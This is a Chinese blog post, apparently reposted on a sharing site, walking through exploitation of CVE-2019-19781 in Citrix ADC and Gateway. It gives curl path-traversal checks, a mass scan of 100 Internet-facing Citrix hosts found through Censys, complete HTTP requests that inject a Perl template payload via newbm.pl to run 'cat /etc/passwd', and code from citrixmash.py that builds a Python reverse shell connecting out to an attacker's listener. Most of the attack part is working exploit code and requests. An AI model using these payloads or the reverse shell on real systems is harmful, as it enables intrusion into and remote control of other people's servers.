打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
CVE-2019-19781 通关
漏洞名称

Citrix Gateway/ADC 远程代码执行漏洞

影响范围:

Citrix NetScaler ADC and NetScaler Gateway version 10.5
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1
Citrix ADC and Citrix Gateway version 13.0

手工检测:

如果你看到类似如下界面,注:版本差异界面有好多种,本处仅以新版本Citrix Gateway界面为例:

我们可以如下测试,返回body体中的内容(响应状态码为200),可判定存在利用风险,但并不是绝对的,这只能说没打补丁,但漏洞的修复方案打补丁只是其中之一,我们后面讲。

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is#response[global] encrypt passwords = yes name resolve order = lmhosts wins host bcast

在实际测试中,肯定要面对https证书等问题,如果目标不存在漏洞上述测试语句是没有回显的,可以借助I参数返回响应头(i返回headers body ),如下403说明已通过补丁修复,当然还会有各种自定义修复方案造成的其他回显在此不做讨论。

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is -k -I#responseHTTP/1.1 403 Forbidden
脚本检测

关于上述原理的脚本检测我们可以参见trustedsec提供的脚本,多说一句,不知道大家对这个团队名称是否敏感,如果提社会工程学工具包social-engineer-toolkit(SEToolkit)你一定不陌生,之前钓鱼系列文章一直有在用,正是该团队的手笔。

https://github.com/trustedsec/cve-2019-19781

# if the system is still vulnerableif ('[global]') in str(req.content) and ('encrypt passwords') in str(req.content) and ('name resolve order') in str(req.content): # each smb.conf will contain a [global] variable print('[\033[91m!\033[0m] This Citrix ADC Server: %s is still vulnerable to CVE-2019-19781.' % (target)) vulnServers.append(target) return 1
# if the system responds with a Citrix message (fixed) or a 403 (fixed)elif ('Citrix') in str(req.content) or '403' in str(req.status_code): # only seen if system is not vulnerable print( '[\033[92m*\033[0m] Server: %s responded with a 403. If this is a Citrix Server, it is not vulnerable. Awesome!' % ( target))
# if we run into something other than Citrixelse: if verbose == True: print('[-] Server %s does not appear to be a Citrix server.' % (target)) pass

我们可以看到其核心检测代码正是我们手工检测的原理,403直接判定安全,其他情况判定为非Citrix server。
此外,该脚本检测支持ASN、CIDR、文件输入等检测方式,我们借助AssetsHunter从国外随机抓取了100个Citrix Gateway站点:

python AssetsHunter.py -censys '443.https.get.title: Citrix Gateway'


配合cve-2019-19781_scanner效果如下,5%的风险项,但我们刚刚提到了,有风险并不代表可利用,这里仅作风险评估统计,漏洞利用依然以本地形式复现。

python cve-2019-19781_scanner.py file:Censys_ip_result_1588752983.rabbit 443#resultFinished testing 100 servers: Found 5 to be vulnerable
手工利用

首先分享下我的翻车,国内的相关资料利用点都放在了desc参数上,类似payload如下,因为对perl语言并不擅长,所以没有更多的关注代码层。然而虽然各位大佬都完美回显了,我自闭了两天。。。

url=http://example.com&title=jk666&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]

沉下心来看了看斗象TCC小胖虎大佬的漏洞分析。

https://www.freebuf.com/news/232752.html

最终尝试把漏洞利用参数放到了title参数,才勉强成功。/哭
这里给出自己的修改后利用方案,如果翻车别打我,保证没挖坑。。。

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0NSC_USER: ../../../netscaler/portal/templates/jk666NSC_NONCE:nsrootContent-Length: 96
url=127.0.0.1&title=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]&desc=desc&UI_inuse=a

我们刚刚说过了,有风险不一定可利用,如newbm.bl被删除或被重命名,实战中确实也遇到了404的情况,此外,上传成功的body体如下:

HTTP/1.1 200 OK
<HTML><BODY><SCRIPT language=javascript type=text/javascript>//parent.window.ns_reload();window.close();</SCRIPT></BODY></HTML>

然而经常会遇到无回显的情况,可参考小胖虎大佬的文章尝试其它利用点,只是漏洞利用需要将poc写入文件名, 可能会受到特殊字符影响,总体不如newbm.pl。

GET /vpn/../vpns/portal/jk666.xml HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0NSC_USER:nsrootNSC_NONCE:nsroot

访问构造好的文件,成功完成二次回显:

脚本利用
  • 1、还有在使用py2的小伙伴可以参考少宇大佬的脚本:

https://github.com/jas502n/CVE-2019-19781

emmmmm,怎么说,我承认我翻车了,因为我的利用环境按照国内的思路手工测试并没有复现成功,而少宇大佬的脚本也是借助该思路完成的,不排除实验对象单一造成的意外,在此不做讨论,大家自行选择。

  • 2、刚刚提到的trustedsec脚本中提供了exp脚本:citrixmash.py
    python3 citrixmash.py <victimaddress> <victimport> <attacker_listener> <attacker_port>

 text = ('''/var/python/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('%s',%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'''' % (attackerip, attackerport))    while i < len(text):        encoded = encoded   'chr(' str(ord(text[i])) ') . '        i  = 1    encoded = encoded[:-3]    payload='[% template.new({'BLOCK'='print readpipe('   encoded   ')'})%]'

其原理是在payload中预装了一个python拉起的反弹shell,直接开启nc监听使用即可。

  • 3、印度零组(个人很看好的一个团队)的bash脚本

https://github.com/projectzeroindia/CVE-2019-19781

话说,国外的习惯都是从title参数插payload的说,而且该脚本提供了自定义命令入口,阿三牛批~

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
【安全圈】【CVE-2020-0796】漏洞POC复现
Vcenter攻击手法总结
实战|记一次攻防Exchange艰难getshell
近2,000 个 Citrix NetScaler 实例因严重漏洞遭到黑客攻击
施耐德电气修复建筑自动化软件U.motion Builder中的漏洞
安全研究人员发布了两个思杰严重漏洞的利用
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服